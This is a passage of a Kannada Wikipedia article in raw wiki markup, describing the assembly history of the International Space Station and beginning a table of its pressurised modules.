ಎಕ್ಸ್ಟ್ರಾ-ವೆಹಿಕ್ಯುಲರ್ ಆಕ್ಟಿವಿಟಿ(EVA)ಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಿದ್ದರು. ಅಲ್ಲದೇ ಎಲ್ಲರೂ ನಿಲ್ದಾಣದ ಜೋಡಣೆ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಕಡೆಗೆ ಗಮನ ಹರಿಸಿದ್ದರು. ಈ ಆಕಾಶ ನಡಿಗೆಗಳ ಸಹಾಯದ ಮೂಲಕ ಜೋಡಿಸಲಾದ ಇಪ್ಪತ್ತೆಂಟು ಭಾಗಗಳು, ಪರಸ್ಪರ ಸಂಧಿಸುವ ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿಗಳ ವಾಯುಬಂಧಗಳಿಂದ ಬಂದಿವೆ; ಉಳಿದ 108 ಗಳನ್ನು ನಿಲ್ದಾಣದಿಂದ ಉಡಾವಣೆ ಮಾಡಲಾಗಿದೆ.<ref name="ISStD" /> ISS ನ ಮೊದಲನೆಯ ಭಾಗವಾದ ''ಜಾರ್ಯ'' ವನ್ನು 1998 ರ ನವೆಂಬರ್ 20 ರಂದು ರಷ್ಯಾದ ಪ್ರೋಟಾನ್ ರಾಕೆಟ್ ನ ಮೇಲೆ ಉಡಾವಣೆ ಮಾಡಲಾಯಿತು. ಇದಾದ ಎರಡು ವಾರಗಳ ನಂತರ ''ಯೂನಿಟಿ'' ಯಿಂದ—ಮೂರು ನೋಡ್(ನಿಸ್ಪಂದ) ಘಟಕಗಳ ಮೊದಲನೆಯ ಘಟಕವನ್ನು, ಬಾನಗಾಡಿ ವಿಮಾನವಾದ STS-88ರ ಮೇಲಿನಿಂದಲೇ ಉಡಾವಣೆ ಮಾಡಲಾಯಿತು. ISS ನಲ್ಲಿ ಅಗ್ರವೆನಿಸಿದ, ಅತ್ಯಂತ ಪ್ರಮುಖವಾದ ಈ ಎರಡು ಮುಕ್ತ ಘಟಕಗಳು, ಮುಂದಿನ ಒಂದೂವರೆ ವರ್ಷಗಳ ವರೆಗೆ ಯಾವುದೇ ಸಿಬ್ಬಂದಿಯಿರದೆ ಹಾಗೇಯೇ ಉಳಿದುಕೊಂಡವು. ಆಗ 2000 ರ ಜುಲೈನಲ್ಲಿ ರಷ್ಯಾದ ''ಜ್ವೆಜ್ದ'' ಎಂಬ ಘಟಕದ ಸೇರ್ಪಡೆ ಮೂಲಕ, ಗರಿಷ್ಠ ಮೂವರು ತಂಡದ ಸಿಬ್ಬಂದಿ ನಿರಂತರವಾಗಿ ISS ನಲ್ಲಿ ನೆಲೆಸಲು ಅವಕಾಶ ನೀಡಲಾಯಿತು. ಮೊಟ್ಟ ಮೊದಲನೆಯದಾಗಿ ಅಲ್ಲಿ ನೆಲೆಸಿದ ಗಗನಯಾತ್ರೆ 1 ರ ಸಿಬ್ಬಂದಿ, ಸೊಯುಜ್ TM-31 ರ ಮೇಲೆ 2000ದ ನವೆಂಬರ್ ನಲ್ಲಿ STS-92 ಮತ್ತು STS-97 ವಿಮಾನಗಳ ದಾರಿಯ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಆಗಮಿಸಿದರು. ಈ ಎರಡೂ ಬಾನಗಾಡಿಗಳ ವಿಮಾನಗಳಲ್ಲಿ ಪ್ರತಿಯೊಂದು, ನಿಲ್ದಾಣದ ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ ನ ಭಾಗವನ್ನು ಸೇರಿಸಿವೆ. ಇದು ಸಂಪರ್ಕ, ಮಾರ್ಗದರ್ಶನ, ವಿದ್ಯುತ್ ಗ್ರೌಂಡಿಂಗ್(Z1ನ ಮೇಲಿನ ವಿದ್ಯುತ ಪ್ರಹರಿಸುವ) ಇದರೊಂದಿಗೆ ಮೂಲವ್ಯವಸ್ಥೆಯ ನಿಲ್ದಾಣವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅಲ್ಲದೇ P6 ಟ್ರಸ್ ನ ಮೇಲಿರುವ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳ ಮೂಲಕ ವಿದ್ಯುತ್ ಶಕ್ತಿಯನ್ನೂ ಕೂಡ ಒದಗಿಸುತ್ತದೆ.<ref name="ESA sequence" /> ಮುಂದಿನ ಎರಡು ವರ್ಷಗಳವರೆಗೆ ನಿಲ್ದಾಣವನ್ನು ವಿಸ್ತರಿಸಲಾಗುತ್ತದೆ. ಸೊಯುಜ್-U ರಾಕೆಟ್, ''ಪಿರ್ಸ್'' ಎಂಬ ಜೋಡಣಾ ವಿಭಾಗವನ್ನು ತಲುಪಿಸಿತು. ಬಾನಗಾಡಿಗಳಾದ ''ಡಿಸ್ಕವರಿ'' ,''ಅಟ್ಲಾಂಟಿಸ್'' , ಮತ್ತು ''ಇನ್ ಡೆವರ್'' ಗಳು ಡೆಸ್ಟಿನಿ'''' ಪ್ರಯೋಗಾಲಯವನ್ನು ಮತ್ತು ''ಕ್ವೆಸ್ಟ್'' ವಾಯುಬಂಧವನ್ನು ತಲುಪಿಸಿವೆ. ಅಲ್ಲದೇ ನಿಲ್ದಾಣದ ಪ್ರಧಾನ ರೋಬಾಟ್ ನ ಪ್ರಬಲ ತೋಳಿನ ಜೊತೆಯಲ್ಲಿ ''ಕೆನಡರಮ್ 2'' , ಮತ್ತು ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ ನ ಅನೇಕ ಭಾಗಗಳನ್ನು ನೀಡಿದೆ.<ref name="ESA sequence" /> ನಿಲ್ದಾಣವನ್ನು ವಿಸ್ತರಿಸುವ ಯೋಜನೆಗೆ 2003 ರಲ್ಲಿ STS-107 ರ ಮೇಲೆ ಉಂಟಾದ {{OV|102}} ರ ವಿನಾಶದಿಂದ ತೊಂದರೆಯಾಯಿತು. ಇದರಿಂದಾಗಿ , ''ಡಿಸ್ಕವರಿ'' ಯನ್ನು STS-114 ರ ಮೇಲೆ 2005 ರಲ್ಲಿ ಉಡಾವಣೆ ಮಾಡುವ ವರೆಗೂ, ತಂಗುನಿಲ್ದಾಣದ ಜೋಡಣೆಯ ಬಾನಗಾಡಿ ಕಾರ್ಯಯೋಜನೆಗೆ ತಡೆಯುಂಟಾಯಿತು.<ref>{{cite web|url=http://www.nasaspaceflight.com/2005/07/discovery-launches-the-shuttle-is-back/ |title=Discovery launches—The Shuttle is back|author=Chris Bergin|publisher=NASASpaceflight.com|accessdate=6 March 2009|date=26 July 2005}}</ref> ''ಅಟ್ಲಾಂಟಿಸ್'' , STS-115 ರ ಮೇಲೆ ಆಗಮಿಸಿದ ನಂತರ ಜೋಡಣೆಯನ್ನು ಅಧಿಕೃತವಾಗಿ ಪುನಃ ಆರಂಭಿಸಲಾಯಿತು ಎಂದು ಹೇಳಲಾಗಿದೆ. ಇದು ನಿಲ್ದಾಣದ ಎರಡನೆಯ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸೌರ ಸರಣಿಗಳನ್ನು ತಲುಪಿಸಿತು. ಟ್ರಸ್ ನ ಅನೇಕ ಭಾಗಗಳನ್ನು ಮತ್ತು ಸರಣಿಗಳ ಮೂರನೆಯ ಗುಂಪನ್ನು STS-116, STS-117, ಮತ್ತು STS-118 ರ ಮೇಲೆ ತಲುಪಿಸಲಾಯಿತು. ನಿಲ್ದಾಣದ ವಿದ್ಯುತ್ ಉತ್ಪಾದನಾ-ಸಾಮರ್ಥ್ಯಗಳನ್ನು ವಿಸ್ತರಿಸುವುದರ ಫಲಿತಾಂಶವೆಂಬಂತೆ, ಅಧಿಕ ಒತ್ತಡಕ್ಕೆ ಒಳಪಡಿಸಲಾದ ಘಟಕಗಳನ್ನು ಒದಗಿಸಲಾಯಿತು. ಅಲ್ಲದೇ ''ಹಾರ್ಮನಿ'' ನೋಡ್(ನಿಸ್ಪಂದ) ಮತ್ತು ''ಕೊಲಂಬಸ್'' ಯುರೋಪಿಯನ್ ಪ್ರಯೋಗಾಲಯವನ್ನೂ ಅದರೊಂದಿಗೆ ಸೇರಿಸಲಾಯಿತು. ''ಕಿಬೋ'' ದ ಮೊದಲನೆಯ ಎರಡು ಘಟಕಗಳನ್ನು ಸೇರಿಸಿದ ಸ್ವಲ್ಪ ಸಮಯದ ನಂತರದಲ್ಲೇ ಇವುಗಳನ್ನು ಕೂಡ ಸೇರಿಸಲಾಯಿತು. 2009 ರ ಮಾರ್ಚ್ ನಲ್ಲಿ STS-119, ನಾಲ್ಕನೆಯ ಮತ್ತು ಕೊನೆಯ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸೌರ (ಇಲ್ಲಿ ಸ್ವಯಂ ವಿದ್ಯುತ್ ಉತ್ಪಾದನೆಗೆ ಪ್ರೊತ್ಸಾಹ)ಸರಣಿಗಳ ಗುಂಪನ್ನು ಅಳವಡಿಸುವುದರೊಂದಿಗೆ, ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ ಅನ್ನು ಸಂಪೂರ್ಣಗೊಳಿಸಿತು. ರಷ್ಯಾದ ''ಪೊಯಿಸ್ಕೊ'' ಘಟಕದ ನಂತರ ''ಕಿಬೋ'' ದ ಅಂತಿಮ ವಿಭಾಗವನ್ನು 2009 ರ ಜುಲೈನಲ್ಲಿ STS-127 ರ ಮೂಲಕ ತಲುಪಿಸಲಾಯಿತು. ಮೂರನೆಯ ನೋಡ್ (ನಿಸ್ಪಂದ)ವಾದ ಶಬ್ದ ಮಾಲಿನ್ಯಮುಕ್ತ ''ಟ್ರ್ಯಾಂಕ್ವಾಲಿಟಿ'' ಯನ್ನು STS-130 ರ ಸಂದರ್ಭದಲ್ಲಿ 2010 ರಲ್ಲಿ ತಲುಪಿಸಲಾಯಿತು. ಇದನ್ನು ಕ್ಯುಪೊಲದ (ಇಂಧನ ದಹನ ಕುಲುಮೆ)ಪಕ್ಕದಲ್ಲೇ ''ಇನ್ ಡೆವರ್'' ಎಂಬ ಬಾನಗಾಡಿಯ ಮೂಲಕ ತಲುಪಿಸಲಾಯಿತು. ಅಲ್ಲದೇ ಇದನ್ನು ಅನುಸರಿಸಿ 2010 ರ ಮೇಯಲ್ಲಿ ರಷ್ಯನ್ ಉಪಾಂತ ಘಟಕ ''ರಾಸವೆಟ್'' ಅನ್ನು, ''ಅಟ್ಲಾಂಟಿಸ್'' ಎಂಬ ಬಾನಗಾಡಿಯ ಮೂಲಕ STS-132 ನ ಮೇಲೆ ತಲುಪಿಸಲಾಯಿತು. {{As of|2010|05}}, ನಿಲ್ದಾಣವು ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಹದಿನಾಲ್ಕು ಘಟಕಗಳನ್ನು ಮತ್ತು ಸಂಪೂರ್ಣ ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ ಅನ್ನು ಒಳಗೊಂಡಿದೆ. ಪರ್ಮನೆಂಟ್ ಮಲ್ಟಿಪರ್ಪಸ್ ಮಾಡ್ಯೂಲ್(ಶಾಶ್ವತ ವಿವಿಧೋದ್ದೇಶ ಮಾದರಿ ಘಟಕ)ವಾಗಿರುವ ''ಲಿಯೊನಾರ್ಡ್'' , ರಷ್ಯಾದ ವಿವಿಧೋದ್ದೇಶ ಪ್ರಯೋಗಾಲಯ ಘಟಕವಾದ ''ನೌಕೆ'' , ಯುರೋಪಿಯನ್ ರೊಬಾಟಿಕ್ ಆರ್ಮ್ ಮತ್ತು ಆಲ್ಫ ಮ್ಯಾಗ್ನೆಟಿಕ್ ಸ್ಪೆಕ್ಟ್ರೋಮೀಟರ್ (AMS-02) ಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಅನೇಕ ಬಾಹ್ಯ ಘಟಕಗಳನ್ನು ಇನ್ನೂ ಉಡಾವಣೆ ಮಾಡಬೇಕಿದೆ. ಜೋಡಣೆಯು 2011 ರ ಹೊತ್ತಿಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳಬಹುದೆಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ. ನಿಲ್ದಾಣದ ಭಾರ 400&nbsp;ಮೆಟ್ರಿಕ್ ಟನ್ ಗಳನ್ನು ಮೀರಿಸುತ್ತದೆ. (440&nbsp;ಶಾರ್ಟ್ ಟನ್ ಗಳು).<ref name="OnOrbit" /><ref name="Manifest" /> ===ಒತ್ತಡಕ್ಕೊಳಪಟ್ಟ ಘಟಕಗಳು=== ISS ಸಂಪೂರ್ಣಗೊಂಡಾಗ, ಇದು ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಹದಿನಾರು ಘಟಕಗಳನ್ನು ಒಳಗೊಂಡಿದ್ದು ಇದರ ಜೊತೆಯಲ್ಲಿ ಸರಿಸುಮಾರು {{convert|1000|m3}} ರಷ್ಟು ಸಂಯೋಜನಾ ಮಾನಕ ಪ್ರಮಾಣವನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಈ ಘಟಕಗಳು ಪ್ರಯೋಗಾಲಯಗಳನ್ನು, ಜೋಡಣಾ ವಿಭಾಗಗಳನ್ನು, ವಾಯುಬಂಧಗಳನ್ನು, ಕಕ್ಷೆಗಳ ಜೋಡನಾ ಬಿಂದುಗಳಾದ ನೋಡ್ ಗಳನ್ನು ಮತ್ತು ವಾಸದ ಸ್ಥಾನಗಳನ್ನು(ಕ್ವಾರ್ಟರ್ಸ್) ಒಳಗೊಂಡಿವೆ. ಇವುಗಳಲ್ಲಿ ಹದಿಮೂರು ಘಟಕಗಳು ಆಗಲೇ ಕಕ್ಷೆಯಲ್ಲಿವೆ, ಮತ್ತು ಉಳಿದ ಮೂರು ಘಟಕಗಳು ಉಡಾವಣೆ ಮಾಡುವ ನಿರೀಕ್ಷೆಯಲ್ಲಿವೆ. ಪ್ರತಿ ಘಟಕವನ್ನು ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿಯ ಮೂಲಕ ಅಥವಾ ಪ್ರೋಟಾನ್ ರಾಕೆಟ್ ಅಥವಾ ಸೊಯುಜ್ ರಾಕೆಟ್ ನ ಮೂಲಕ ಉಡಾವಣೆ ಮಾಡಲಾಗುತ್ತದೆ.<ref name="ESA sequence">{{cite web|url=http://esamultimedia.esa.int/multimedia/esa_iss_assembly_sequence/index_pop.html|publisher=European Space Agency (ESA)|accessdate=6 March 2009|title=HSF: ISS assembly sequence and on-orbit configuration}}</ref> {| class="wikitable" style="width:auto;margin:auto" |- style="background:#efefef" ! ಘಟಕ ! ಜೋಡಣಾ ಕಾರ್ಯಾಚರಣೆ ಗುರಿ ! ಉಡಾವಣಾ ದಿನಾಂಕ ! ಉಡಾವಣಾ ವಿಧಾನ,ವ್ಯವಸ್ಥೆ ! style="width:100px"| ರಾಷ್ಟ್ರ |- |<div style="float:left;padding:15px"> [[File:Zarya from STS-88.jpg|80px|alt= ಬಾಹ್ಯಾಕಾಶದ ಕತ್ತಲೆಗೆ ಎದುರಾಗಿ ಸಾಗುತ್ತಿರುವ ಒಂಟಿ ಘಟಕ. ಇದು ಚಲಿಸುವ ಸಿಲಿಂಡರ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ ಘಟಕವಾಗಿದ್ದು, ಒಂದು ತುದಿಯಲ್ಲಿ ಚಪ್ಪಟ್ಟೆಯಾಗಿರುವ ಕೋನ್ ಅನ್ನು ಹಾಗು ಮತ್ತೊಂದು ತುದಿಯಲ್ಲಿ ಶಂಕುವಿನಾಕಾರದ ಜೋಡಣಾ ವಿಭಾಗವನ್ನು ಒಳಗೊಂಡಿದೆ.ಘಟಕದ ಬದಿಗಳಿಂದ ಹೊರಚಾಚಿಕೊಂಡಿರುವ ನೀಲಿ ಬಣ್ಣದ ಎರಡು ದ್ಯುತಿವಿದ್ಯುತ್ಜನಕ ಸರಣಿಗಳು.]]</div><div style="float:left;padding:15px"> 'ಜಾರ್ಯ' <br> <br><small>(ಲಿಟ್. 'ಡಾನ್')</small><br><small>(FGB)</small><div> | 1A/R | 1998 ರ ನವೆಂಬರ್ 20 | ಪ್ರೋಟಾನ್-K | ರಷ್ಯಾ <small>(ನಿರ್ಮಾಣಗಾರ)</small><br>USA <small>(ಬಂಡವಾಳಗಾರ)</small> |- | |<ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/fgb.html |title=Zarya Module |publisher=NASA |accessdate=7 December 2009|date=14 October 2008}}</ref> |- style="border-bottom: 3px Solid Grey" | | ಉಡಾವಣೆ ಮಾಡಲಾದ ISS ನ ಮೊಟ್ಟ ಮೊದಲನೆಯ ಘಟಕವಾಗಿದ್ದು, ಇದರ ಆರಂಭಿಕ ಜೋಡಣೆಯ ಸಂದರ್ಭದಲ್ಲಿ ''ಜಾರ್ಯ'' ವಿದ್ಯುತ್ ಶಕ್ತಿ, ಅದರ ಸಂಗ್ರಹಣೆ, ಪ್ರೇರಕಶಕ್ತಿ (ನೋದನ) ಮತ್ತು ಮಾರ್ಗದರ್ಶನ ಇತ್ಯಾದಿಗಳನ್ನು ಒಳಗೊಳಿಸಲಾಗಿದೆ. ಘಟಕವು ಪ್ರಸ್ತುತ ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ವಿಭಾಗದೊಳಗೆ ಮತ್ತು ಬಾಹ್ಯದಲ್ಲಿ ಸ್ಥಾಪಿತ ಇಂಧನದ ಟ್ಯಾಂಕ್ ಗಳೊಳಗೆ ಸಂಗ್ರಹಣಾ ವಿಭಾಗವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ. |- | ''ಯೂನಿಟಿ'' <br> <small>(ನೋಡ್ 1)</small> | 2A |1998 ರ ಡಿಸೆಂಬರ್ 4 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ {{OV|105|full=no}}, STS-88 | USA |- |[[File:ISS Unity module.jpg|80px|alt=A ಬಾಹ್ಯಾಕಾಶದ ಕತ್ತಲೆಯ ವಿರುದ್ಧ ತೇಲಿಕೊಂಡು ಹೋಗುತ್ತಿರುವ ಘಟಕ.ಈ ಘಟಕವು ಅದರ ಮೇಲೆ ಕಾಣುತ್ತಿರುವ ಎರಡು ಅತ್ಯಂತ ದೊಡ್ಡ, ಬಿಳಿಯ ವರ್ತುಲಗಳ ಜೊತೆಯಲ್ಲಿರುವ ಲೋಹದ ಸಿಲಿಂಡರ್ ಆಗಿದೆ.ಘಟಕದ ಎರಡು ತುದಿಗಳಲ್ಲು ಕಪ್ಪು ಕೋನ್ ಅನ್ನು ನೋಡಬಹುದಾಗಿದೆ.]] |- | <ref>{{cite web|title=Unity Connecting Module: Cornerstone for a Home in Orbit|url=http://spaceflight.nasa.gov/spacenews/factsheets/pdfs/unity.pdf|date=January 1999|accessdate=11 March 2009|publisher=NASA|archive-date=17 ಮಾರ್ಚ್ 2009|archive-url=https://web.archive.org/web/20090317204752/http://spaceflight.nasa.gov/spacenews/factsheets/pdfs/unity.pdf|url-status=dead}}</ref> |- style="border-bottom: 3px Solid Grey" | ಇದು ನಿಲ್ದಾಣದ ಅಮೇರಿಕನ್ ವಿಭಾಗವನ್ನು ರಷ್ಯನ್ ವಿಭಾಗದೊಂದಿಗೆ ಸೇರಿಸಿದ ಮೊದಲನೆಯ ಅಡಚಣೆಮುಕ್ತ, ನೋಡ್ (ನಿಸ್ಪಂದ) ಘಟಕವಾಗಿದೆ (PMA-1ರ ಮೂಲಕ). ಅಲ್ಲದೇ Z1 ಟ್ರಸ್ ಗೆ, ''ಕ್ವೆಸ್ಟ್'' ವಾಯುಬಂಧಕ್ಕೆ, ''ಡೆಸ್ಟಿನಿ'' ಪ್ರಯೋಗಾಲಯಕ್ಕೆ ಮತ್ತು ''ಟ್ರ್ಯಾಂಕ್ವಾಲಿಟಿ'' ನೋಡ್ ಗೆ ಸ್ಥಳಾವಕಾಶ ಒದಗಿಸಿದೆ. |- | | ''ಜ್ವೆಜ್ದ'' <br><small>(ಲಿಟ್. 'ಸ್ಟಾರ್')</small><br><small>(ಸೇವಾ ಘಟಕ) </small> | 1R |2000 ದ ಜುಲೈ 12 | ಪ್ರೋಟಾನ್-K |ರಷ್ಯಾ |- | [[File:ISS Zvezda module-small.jpg|80px|alt=A ಘಟಕವು ಚಲಿಸುತ್ತಿರುವ ಸಿಲಿಂಡರ್ ನ ಪ್ರಧಾನ ವಿಭಾಗವನ್ನು ಒಳಗೊಂಡಿದೆ. ಇದರ ಜೊತೆಯಲ್ಲಿ ಘಟಕದ ಒಂದು ತುದಿಯಲ್ಲಿ ಗೋಲಾಕಾರದ ಜೋಡಣಾ ವಿಭಾಗವನ್ನು ಕೂಡ ಒಳಗೊಂಡಿದೆ. ಹಿನ್ನೆಲೆಯಲ್ಲಿರುವ ಭೂಮಿ ಮತ್ತು ಆಕಾಶದೊಂದಿಗೆ ಘಟಕದಿಂದ ಹೊರಚಾಚಿಕೊಂಡಿರುವ ನೀಲಿ ಬಣ್ಣದ ಎರಡು ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳು.]] | <ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/sm.html|title=Zvezda Service Module|publisher=NASA|date=11 March 2009|accessdate=11 March 2009}}</ref> |- style="border-bttom: 3px Solid Grey" | ಇದು ನಿಲ್ದಾಣದ ಸೇವಾ ಘಟಕವಾಗಿದ್ದು, ಅಲ್ಲಿ ವಾಸಮಾಡುವ ಸಿಬ್ಬಂದಿಗೆ ವಾಸಕ್ಕೆ ಅಗತ್ಯ ಜಾಗ, ಪರಿಸರ ವ್ಯವಸ್ಥೆಗಳು ಮತ್ತು ಬಾಹ್ಯಾಕಾಶ ನೌಕೆ ಮತ್ತು ಕಕ್ಷಾ ನಿಯಂತ್ರಣವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಈ ಘಟಕವು ಸೊಯುಜ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗೆ, ಪ್ರೋಗ್ರೆಸ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗೆ ಮತ್ತು ಆಟೊಮೇಟೆಡ್ ಟ್ರಾನ್ಸ್ಫರ್ ವೆಹಿಕಲ್ ಗೆ ಪರಸ್ಪರ ಸಂಧಿಸುವ ಸ್ಥಳಾವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಇದನ್ನು ಸೇರಿಸಿದ್ದರಿಂದ ISS ಮೊದಲನೆಯ ಬಾರಿಗೆ ಶಾಶ್ವತವಾಗಿ ಆಗಿ ವಾಸಯೋಗ್ಯವಾಯಿತು. |- | | ''ಡೆಸ್ಟಿನಿ'' <br> <small>(US ಪ್ರಯೋಗಾಲಯ)</small> | 5A | 2001 ರ ಫೆಬ್ರವರಿ 7 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ{{OV|104|full=no}}, STS-98 | USA |- | [[File:ISS Destiny Lab.jpg|80px|alt=A ಇದು ಬಾಹ್ಯಾಕಾಶದ ಕತ್ತಲೆಯ ವಿರುದ್ಧ ತೇಲಿಕೊಂಡು ಹೋಗುತ್ತಿರುವ, ಉದ್ದವಾದ ಲೋಹದ ಸಿಲಿಂಡರ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ ಘಟಕವಾಗಿದ್ದು, ಇದನ್ನು ISS ನ ರೋಬಾಟ್ ಕೈ ತಡೆಹಿಡಿದಿದೆ.ಘಟಕವು ಎರಡು ಬದಿಗಳಲ್ಲು ಅತ್ಯಂತ ಚಪ್ಪಟ್ಟೆಯಾಗಿರುವ ಕೋನವನ್ನು ಒಳಗೊಂಡಿದೆ. ಅಲ್ಲದೇ ಚಿತ್ರದ ಬಲಬದಿಯಲ್ಲಿ ISS ನ ತುಣುಕುಗಳನ್ನು ಮತ್ತು ಬಾನಗಾಡಿಯ ಇಲೆಕ್ಟ್ರಾನಿಕ್ ಭಾಗಗಳನ್ನು ಕಾಣಬಹುದಾಗಿದೆ.]] |- |<ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/destiny.html|title=NASA—US Destiny Laboratory|date=26 March 2007|accessdate=26 June 2007|publisher = NASA}}</ref> |-style="border-bttom: 3px Solid Grey" | | US ಉಪಕರಣಗಳಿಗಾಗಿ ISS ನಲ್ಲಿ ಪ್ರಾಥಮಿಕ ಸಂಶೋಧನಾ ಸೌಲಭ್ಯವಾದ ''ಡೆಸ್ಟಿನಿ'' ಯನ್ನು ಸಾರ್ವತ್ರಿಕ ಪ್ರಯೋಗಗಳಿಗೆ ಬಳಸಲಾಗಿದೆ. ಈ ಘಟಕವು 24 ಇಂಟರ್ ನ್ಯಾಷನಲ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್ ಪ್ಲೇಲೋಡ್ ರಾಕ್(ಅಂತರರಾಷ್ಟ್ರೀಯವಾಗಿ ಪ್ರಮಾಣೀಕರಿಸಿದ ಉಪಕರಣಗಳ ಸಂಗ್ರಹಣ) ಗಳಿಗೆ ಎಡೆಮಾಡಿಕೊಟ್ಟಿದೆ. ಇವುಗಳಲ್ಲಿ ಕೆಲವುಗಳನ್ನು ಪರಿಸರೀಯ ವ್ಯವಸ್ಥೆಗಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ, ಅಲ್ಲದೇ ಸಿಬ್ಬಂದಿಯ ದಿನನಿತ್ಯದ ಬಳಕೆಯ ಉಪಕರಣವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಇದು {{convert|51|cm|in|adj=on}} ದೃಗ್ವೈಜ್ಞಾನಿಕವಾಗಿ ಪರಿಪೂರ್ಣ ಗವಾಕ್ಷಿಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಇದು ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ಬಳಸಲು ಹಿಂದೆಂದೂ ನಿರ್ಮಿಸದ ಅತ್ಯಂತ ವಿಶಾಲ ಕಿಟಕಿಯಾಗಿದೆ. ''ಡೆಸ್ಟಿನಿ'' , ನಿಲ್ದಾಣದ ಬಹುಪಾಲು ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ ಅನ್ನು ಜೋಡಿಸುವ ಸಮಗ್ರತೆಯ ಸ್ಥಳವಾಗಿಯೂ ಕೂಡ ಸೇವೆಸಲ್ಲಿಸುತ್ತದೆ. |- | ''ಕ್ವೆಸ್ಟ್'' <br> <small>(ಜಂಟಿ ವಾಯುಬಂಧ)</small> | 7A |2001 ರ ಜುಲೈ 12. |ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಅಟ್ಲಾಂಟಿಸ್'' , STS-104 |USA |- |[[File:ISS Quest airlock.jpg|80px|alt=A ISS ನ ರೋಬಾಟ್ ಕೈನಿಂದ ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ತಡೆದಿಡಲಾದ ಘಟಕ. ಈ ಚಿತ್ರದಲ್ಲಿ ಘಟಕದ ಎರಡು ವಿಭಾಗಳಿವೆ, ಚಿಕ್ಕದಾದ ಮತ್ತು ಅಗಲವಾದ ಸಲಕರಣೆಯು ಚಿತ್ರದ ಎಡಬದಿಯನ್ನು ಆವರಿಸಿದೆ. ಭೂಮಿ ಮತ್ತು ಬಾಹ್ಯಾಕಾಶದ ಕತ್ತಲೆಯನ್ನು ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಕಾಣಬಹುದಾಗಿದೆ. ಅಲ್ಲದೇ ಚಿತ್ರದ ಮೇಲೆ ಬಲಬದಿಯ ಮುನ್ನೆಲೆಯಲ್ಲಿರುವ ಮತ್ತೊಂದು ಘಟಕದ ಅಸ್ಪಷ್ಟ ಮೂಲೆಯನ್ನು ನೋಡಬಹುದಾಗಿದೆ.]] |<ref>{{cite web|url=http://spaceflight.nasa.gov/station/eva/outside.html|title=Space Station Extravehicular Activity|accessdate=11 March 2009|publisher=[[ನಾಸಾ]]|date=4 April 2004|archive-date=3 ಏಪ್ರಿಲ್ 2009|archive-url=https://web.archive.org/web/20090403213449/http://spaceflight.nasa.gov/station/eva/outside.html|url-status=dead}}</ref> |-style="border-bttom: 3px Solid Grey" | | ''ಕ್ವೆಸ್ಟ್'' ISS ನ ಪ್ರಧಾನ ವಾಯುಬಂಧವಾಗಿದ್ದು, US EMU ಮತ್ತು ರಷ್ಯನ್ ಒರ್ಲ್ಯಾನ್ ಆಕಾಶ ಪೋಷಾಕುಗಳೊಂದಿಗೆ ಆಕಾಶ ನಡಿಗೆಯನ್ನು ನಿರೂಪಿಸುತ್ತದೆ. ''ಕ್ವೆಸ್ಟ್'' ಎರಡು ಭಾಗಗಳನ್ನು ಒಳಗೊಂಡಿದೆ; ಸಲಕರಣೆಗಳ ಲಾಕ್, ಇದು ಗಗನ ಯಾತ್ರೆಯಲ್ಲಿ ಉಪಯೋಗಿಸುವ ಉಡುಪು ಮತ್ತು ಸಲಕರಣೆಯನ್ನು ಸಂಗ್ರಹಿಸಿಡುತ್ತದೆ. ಎರಡನೆಯದು ಕ್ರೂ ಲಾಕ್(ಸಿಬ್ಬಂದಿ ಲಾಕ್) ಆಗಿದ್ದು, ಇದರ ಮೂಲಕವೇ ಗಗನಯಾತ್ರಿಗಳು ಬಾಹ್ಯಾಕಾಶದಿಂದ ನಿರ್ಗಮಿಸುತ್ತಾರೆ. |- | ''ಪರ್ಸ್'' <br> <small>(ಲಿಟ್. 'ಪೀರ್')</small><br><small>(ಜೋಡಣಾ ವಿಭಾಗ)</small> | 4R |2001 ರ ಸೆಪ್ಟೆಂಬರ್ 14 | 